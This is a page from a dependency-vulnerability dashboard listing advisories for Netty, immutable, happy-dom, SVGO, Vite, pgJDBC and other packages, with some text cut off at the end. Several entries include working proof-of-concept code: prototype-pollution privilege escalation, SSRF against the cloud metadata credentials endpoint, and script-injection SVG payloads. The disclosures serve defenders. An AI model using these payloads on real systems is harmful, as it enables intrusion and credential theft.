Search
Vulnerabilities 151–200 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 8.7CVSS 4.0 | GHSA-vfj7-8cjw-p6xm | In triage | 2026-09-18 | 5.7 ×65.6 ×95.5 ×195.4 ×13 | braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth guards. Attackers can supply deeply nested brace patterns under the character limit to exhaust the call stack and terminate the Node.js process with an uncaught RangeError. | |
| 8.7CVSS 4.0 | GHSA-w9fj-cfpg-grvv | Resolved | 2026-03-26 | 5.6 ×25.5 ×205.4 ×14 | ### Summary A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. ### Details The vulnerability exists in Netty's `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames. The key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit. Any user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 < currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection. `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java` **`verifyContinuationFrame()` (lines 381-393)** — No frame count check: ```java private void verifyContinuationFrame() throws Http2Exception { verifyAssociatedWithAStream(); if (headersContinuation == null) { throw connectionError(PROTOCOL_ERROR, "..."); } if (streamId != headersContinuation.getStreamId()) { throw connectionError(PROTOCOL_ERROR, "..."); } // NO frame count limit! } ``` **`HeadersBlockBuilder.addFragment()` (lines 695-723)** — Byte limit bypassed by 0-byte frames: ```java // Line 710-711: This check NEVER fires when len=0 if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len < headerBlock.readableBytes()) { headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always } ``` When `len=0`: `maxGoAway - 0 < readableBytes` → `10240 < 1` → FALSE. The byte limit is never triggered. ### Impact This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical. | |
| 8.7CVSS 4.0 | GHSA-wf6x-7x77-mvgw
CVE-2026-29063 |
False positive | 2026-03-04 | 5.6 ×95.5 ×205.4 ×14 | ## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution) | |
| 8.7CVSS 4.0 | GHSA-xvcm-6775-5m9r
CVE-2026-59880 |
False positive | 2026-07-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary `Immutable.Map` and `Immutable.Set` keep keys that share the same 32-bit hash in a collision bucket that is scanned linearly. The string hash is public and deterministic, so an attacker who controls the **keys** inserted into a Map can craft many keys that all collide, degrading insertion and lookup from amortized O(1) to O(n) per operation — and O(n²) to build or read the whole set. A small, attacker-shaped payload can therefore consume disproportionate CPU and, on a single-threaded runtime such as Node.js, stall the event loop and deny service. ## Details The string hash uses the JVM-style polynomial `hashed = (31 * hashed + charCode) | 0`. Strings such as `"Aa"` and `"BB"` hash to the same value (`65*31+97 == 66*31+66 == 2112`), and concatenating such blocks yields `2^n` distinct strings sharing one hash (40 characters ⇒ >1,000,000 colliding keys). All such keys route to a single `HashCollisionNode`, whose `get`/`update` walk the entire bucket testing `is()`. There is no per-process salt, so the colliding set is fully precomputable from the open-source algorithm. ## Proof of concept Inserting N colliding keys (e.g. via `Immutable.Map(obj)` / `Immutable.fromJS(obj)`) is O(N²). Measured on one machine, ~8,000 colliding keys take ~0.7 s to build and ~0.6 s to read, scaling ×4 per doubling; ~16,000 keys exceed several seconds. ## Impact CPU-bound denial of service in applications that ingest attacker-controlled object **keys** into Immutable structures, e.g. `Immutable.Map(req.body)`, `Immutable.fromJS(req.body)`, `state.merge(userObject)` / `mergeDeep(...)`. Applications that only store attacker input as **values** under fixed keys are not affected. ## Affected versions - >= 4.0.0-beta.1, < 4.3.9 - >= 5.0.0-beta.1, < 5.1.8 - < 3.8.4 ## Patches Fixed in `5.1.8` _(adjust to the actual release)_: large collision buckets are indexed by a per-process **seeded** secondary hash, restoring near-linear behavior for the affected paths. The public `hash()` is unchanged (no breaking change), and `is()` remains the sole authority on key equality. Also fixed in 4.3.9 and 3.8.4. ## Workarounds Before passing untrusted data to Immutable.js: cap request body size, limit object key count/length, and reject high-cardinality payloads; avoid building Maps directly from untrusted object keys. ## References - CWE-407 (Inefficient Algorithmic Complexity), CWE-400 (Uncontrolled Resource Consumption) - OWASP API4:2023 (Unrestricted Resource Consumption) | |
| 8.6CVSS 3.1 | CVE-2025-12816
GHSA-5gfm-wpxj-wjgq |
Resolved | 2025-11-25 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. | |
| 8.6CVSS 3.1 | CVE-2026-118660
GHSA-c8p4-j97h-3vg8 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0. | |
| 8.6CVSS 3.1 | GHSA-c8p4-j97h-3vg8
CVE-2026-118660 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ## Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ## Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching. | |
| 8.3CVSS 4.0 | CVE-2026-56817
GHSA-4qhr-g3c6-fcfx |
Resolved | 2026-07-21 | 5.6 ×25.5 ×185.4 ×12 | Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, any caller that can deliver bytes to a Netty channel pipeline containing `XmlDecoder` can send XML with a `DOCTYPE` declaration to an `AsyncXMLInputFactory` instantiated with no security configuration, leaving DTD and entity handling active depending on Aalto XML async parser behavior and creating conditional XML external entity risk. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. | |
| 8.3CVSS 4.0 | CVE-2026-76844
GHSA-g84c-rxfj-3j2c |
Resolved | 2026-08-24 | 5.6 ×95.5 ×205.4 ×14 | zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call. | |
| 8.3CVSS 4.0 | GHSA-4qhr-g3c6-fcfx
CVE-2026-56817 |
Resolved | 2026-07-22 | 5.6 ×25.5 ×185.4 ×12 | Any caller that can deliver bytes to a Netty channel pipeline containing `XmlDecoder` can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration — but whether external entities are actually resolved depends on Aalto XML's async parser behavior, making this a confirmed misconfiguration with conditional exploitability. | |
| 8.2CVSS 4.0 | CVE-2025-55163
GHSA-prj3-ccx8-p6x4 |
Not affected | 2025-08-13 | 5.5 ×205.4 ×14 | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.124.Final and 4.2.4.Final, Netty is vulnerable to MadeYouReset DDoS. This is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. This issue has been patched in versions 4.1.124.Final and 4.2.4.Final. | |
| 8.2CVSS 4.0 | CVE-2025-66566
GHSA-cmp6-m4wj-q63q |
Not affected | 2025-12-05 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | yawkat LZ4 Java provides LZ4 compression for Java. Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are not affected. This vulnerability is fixed in 1.10.1. | |
| 8.2CVSS 4.0 | CVE-2026-102554 | In triage | 2026-10-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Allocation of resources without limits or throttling (CWE-770) during Java object deserialization in Google Guava versions 4.0 through 33.7.1 allows an attacker to cause a Denial of Service via OutOfMemoryError. When deserializing CompactHashMap, CompactHashSet, or MapMakerInternalMap instances, Guava eagerly allocates an array based on a caller-specified size parameter without throttling, permitting memory exhaustion from crafted serialization streams. | |
| 8.2CVSS 3.1 | CVE-2026-14679 | Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 8.2CVSS 4.0 | CVE-2026-39363
GHSA-p9ff-h696-f583 |
False positive | 2026-04-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "..."). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5. | |
| 8.2CVSS 4.0 | CVE-2026-53571
GHSA-fx2h-pf6j-xcff |
Not affected | 2026-06-22 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. Prior to 8.0.16, 7.3.5, and 6.4.3, the contents of files that are specified by server.fs.deny can be returned to the browser on Windows. Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. This vulnerability is fixed in 8.0.16, 7.3.5, and 6.4.3. | |
| 8.2CVSS 4.0 | CVE-2026-54291
GHSA-j92g-9f8w-j867 |
Resolved | 2026-07-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | pgjdbc is an open source postgresql JDBC Driver. In releases 42.7.4 through 42.7.11, channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS with channel binding to plain SCRAM-SHA-256 without it, losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection can trigger the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash, because the bundled com.ongres.scram:scram-client returns an empty byte array instead of failing and pgJDBC ScramAuthenticator checks only that the server advertised a PLUS mechanism, without rejecting the empty binding or checking that the negotiated mechanism uses channel binding. This issue is fixed in version 42.7.12. | |
| 8.2CVSS 4.0 | CVE-2026-67213
GHSA-2v37-7h3g-55p8 |
Not affected | 2026-07-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition. | |
| 8.2CVSS 4.0 | CVE-2026-67214
GHSA-28wg-ghj8-5hjv |
Not affected | 2026-07-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | nanoid (Nano ID) before 3.3.16 and 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition. | |
| 8.2CVSS 3.1 | CVE-2026-73650 | Not affected | 2026-08-13 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.3, 3.3.4, and 4.0.2, the removeScripts plugin, named removeScriptElement in versions 1 through 3, can leave executable content in optimized SVGs because it does not remove namespaced or prefixed script elements such as <svg:script> and, in versions 3 and 4, matches JavaScript URIs case sensitively. Applications that process untrusted SVG input with this plugin enabled and serve the result can allow scripts to execute when another user opens the SVG, exposing local storage or cookies. This issue is fixed in versions 2.8.3, 3.3.4, and 4.0.2. | |
| 8.2CVSS 3.1 | CVE-2026-84370
GHSA-w27v-7q3p-w38r |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3, incompletely filters executable links in plugins/removeScripts.js and lib/svgo/tools.js. The plugin does not recognize namespace-prefixed SVG anchor elements such as svg:a with href or namespaced *:href values, and it does not remove ASCII tab, line-feed, or carriage-return characters before checking URL schemes. Browsers remove those characters before parsing a scheme, allowing an executable link to pass the plugin's check. When an application processes attacker-controlled SVG input and serves the result in an active browser context, a victim who activates the surviving link can execute script in the SVG's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0. | |
| 8.2CVSS 4.0 | GHSA-28wg-ghj8-5hjv
CVE-2026-67214 |
Not affected | 2026-07-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | nanoid (Nano ID) before 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition. | |
| 8.2CVSS 3.1 | GHSA-2p49-hgcm-8545 | False positive | 2026-07-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary SVGO's removeScripts plugin (disabled by default) removes scripts from the SVG, however executable scripts were left intact in some cases. If a consumer relied on this plugin for sanitization and served them to users, these SVGs could open up doors to XSS. ### Details SVGO has a plugin for removing scripts from an SVG, which removes: - `<script>` elements - JavaScript URIs (v4 and v3 only) - `on…` event handlers (v4 and v3 only) While SVGO is not a sanitization library, SVGO continues to maintain the plugin for those already using it for this purpose. However, there were two problems: - SVGO did not check namespaced/prefixed `script` elements, for example if one declared an explicit prefix for the SVG namespace ( `<svg:script>`) instead of using the default namespace ( `<script>`), the `<svg:script>` tag would be left intact. - SVGO case sensitively matched JavaScript URIs, but it should've been case-insensitive. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <svg xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:uwu="http://www.w3.org/1999/xlink" viewBox="0 0 100 100" version="1.1"> <a uwu:href="JavaScript:(() => { alert(document.cookie) })();"><text y="30">uwu</text></a> <svg:script> alert(document.cookie); </svg:script> </svg> `; optimize(original, { plugins: ['removeScripts'] }); // Did not remove <svg:script> or uwu:href="JavaScript:…—still executed by browsers. ``` ### Impact If you run SVGO on untrusted input (e.g., user uploads to a web application) and you depended on removeScripts, then some scripts may still be present. If that SVG was then opened directly by another user on the same domain, it could invoke scripts that could read local storage or cookies. This may affect you if you have enabled one of the following: | SVGO Version | Plugin Name | |---|---| | v4 | removeScripts | | v3 | removeScriptElement | | v2 | removeScriptElement | | v1 | removeScriptElement | It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches #### >= 3.0.0, <= 4.0.1 SVGO patched v4.0.2 and v3.3.4. Just upgrade the dependency using your preferred package manager! For example: ```sh yarn up svgo # or if SVGO is a nested dependency yarn up -R svgo ``` The proposed fix is to improve our namespace-aware handling to explicitly act on the default namespace, SVG namespace, and XHTML namespace only. This handles all scripts that are executed by browsers, but will leave intact custom prefixes that happen to have an element called `<*:script>` which clients shouldn't treat as executable. #### >= 2.0.0, <= 2.8.2 SVGO patched v2.8.3, however SVGO v2 explicitly only implements and documents that it will remove `<script>` elements and nothing more. It has the namespace aware handling for tags like `<svg:script>` or `<xhtml:script>`, but has **_not_** been updated to remove JavaScript URIs or event handlers like >= v3. If this is something you need, please upgrade to v4 or v3, or reach for one of the documented workarounds at the end. #### >= 1.0.0, <= 1.3.2 SVGO v1 has been deprecated for a while now and won't be patched. Please upgrade to a more recent version! If something is preventing you from doing so, please reach out! We're happy to expand our migration guides or support you if you're having trouble. ### Workarounds If your motivation for enabling the plugin is SVG sanitization, consider reaching for a dedicated SVG sanitization tool and invoke it before passing the SVG to SVGO. | |
| 8.2CVSS 4.0 | GHSA-2v37-7h3g-55p8
CVE-2026-67213 |
Not affected | 2026-07-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition. | |
| 8.2CVSS 4.0 | GHSA-cmp6-m4wj-q63q
CVE-2025-66566 |
Not affected | 2025-12-05 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are *not* affected. ### Details During the decompression process, the lz4 algorithm may have to repeat data that was previously decompressed in the same input frame. In the Java implementation, this is implemented by copy operations within the output buffer. With a crafted input, an attacker may induce the Java implementation to copy from a region in the output buffer that does not contain decompressed data yet. If that region contains sensitive information because the output buffer was not cleared prior to decompression, that data will then be copied to the decompressed output. - `LZ4Factory.nativeInstance().safeDecompressor()` *is not* affected. - `LZ4Factory.nativeInstance().fastDecompressor()` *is* affected because it actually uses `safeInstance()` since 1.8.1. In 1.8.0 and earlier versions, this implementation is instead vulnerable to the more severe [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), so downgrading is not a solution. - Both decompressors of `LZ4Factory.safeInstance()`, `LZ4Factory.unsafeInstance()` and `LZ4Factory.fastestJavaInstance()` are affected. - `LZ4Factory.fastestInstance()` uses the `nativeInstance` or `fastestJavaInstance` depending on platform. `LZ4Factory.fastestInstance().fastDecompressor()` is always affected, while `LZ4Factory.fastestInstance().safeDecompressor()` is affected only when JNI cannot be used (e.g. on unsupported platforms). Independent of this vulnerability, it is recommended that users migrate from `fastDecompressor` to `safeDecompressor`, as the latter is more performant (despite the name). The impact of this vulnerability depends on how user code interacts with the decompression API. Users that allocate a new destination buffer each time, or use only zeroed buffers, are not impacted. When the buffer is reused, however, the confidentiality impact can be severe. This vulnerability is marked as VC:H out of caution. ### Mitigation lz4-java 1.10.1 fixes this issue without requiring changes in user code. If you cannot upgrade to 1.10.1, you can mitigate this vulnerability by zeroing the output buffer before passing it to the decompression function. ### Relation to CVE‐2025‐12183 This CVE is a different attack than [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), affecting different implementations with different impact. This new vulnerability was discovered by [CodeIntelligence](https://www.code-intelligence.com/) during research that followed up on CVE‐2025‐12183. Users are recommended to upgrade to 1.10.1 to fix both vulnerabilities. | |
| 8.2CVSS 3.1 | GHSA-fv7c-fp4j-7gwp
CVE-2026-44728 |
Resolved | 2026-05-08 | 5.6 ×95.5 ×205.4 ×14 | ### Impact Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. Known affected plugins are: - `@babel/plugin-transform-modules-systemjs` - `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs` No other plugins under the `@babel` namespace are impacted. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`. Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly. ### Workarounds - Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4. - Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats. ### Credits Babel thanks Daniel Cervera for reporting the vulnerability. | |
| 8.2CVSS 3.1 | GHSA-hq9p-pm7w-8p54
CVE-2025-49146 |
Not affected | 2025-06-11 | 5.4 ×14 | ### Impact When the PostgreSQL JDBC driver is configured with channel binding set to `required` (default value is `prefer`), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements. ### Patches TBD ### Workarounds Configure `sslMode=verify-full` to prevent MITM attacks. ### References * https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256 * https://datatracker.ietf.org/doc/html/rfc7677 * https://datatracker.ietf.org/doc/html/rfc5802 | |
| 8.2CVSS 4.0 | GHSA-j92g-9f8w-j867
CVE-2026-54291 |
Resolved | 2026-07-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact `channelBinding=require` connections can be silently downgraded from `SCRAM-SHA-256-PLUS` (with channel binding) to plain `SCRAM-SHA-256` (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no `tls-server-end-point` channel-binding hash. Examples are `Ed25519`, `Ed448`, and post-quantum algorithms. Two issues combine in releases 42.7.4 through 42.7.11: 1. The bundled `com.ongres.scram:scram-client` (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf). 2. pgJDBC does not enforce `channelBinding=require` where it matters. `ScramAuthenticator` checks only that the server *advertised* a `-PLUS` mechanism; it neither rejects the empty binding nor checks that the *negotiated* mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed `scram-client`, because the missing enforcement is in pgJDBC's own code. Only connections that set `channelBinding=require` are affected. Under the default `prefer` policy, and under `allow` or `disable`, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding. ### Patches Fixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the `scram-client` version: - Under `channelBinding=require`, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing 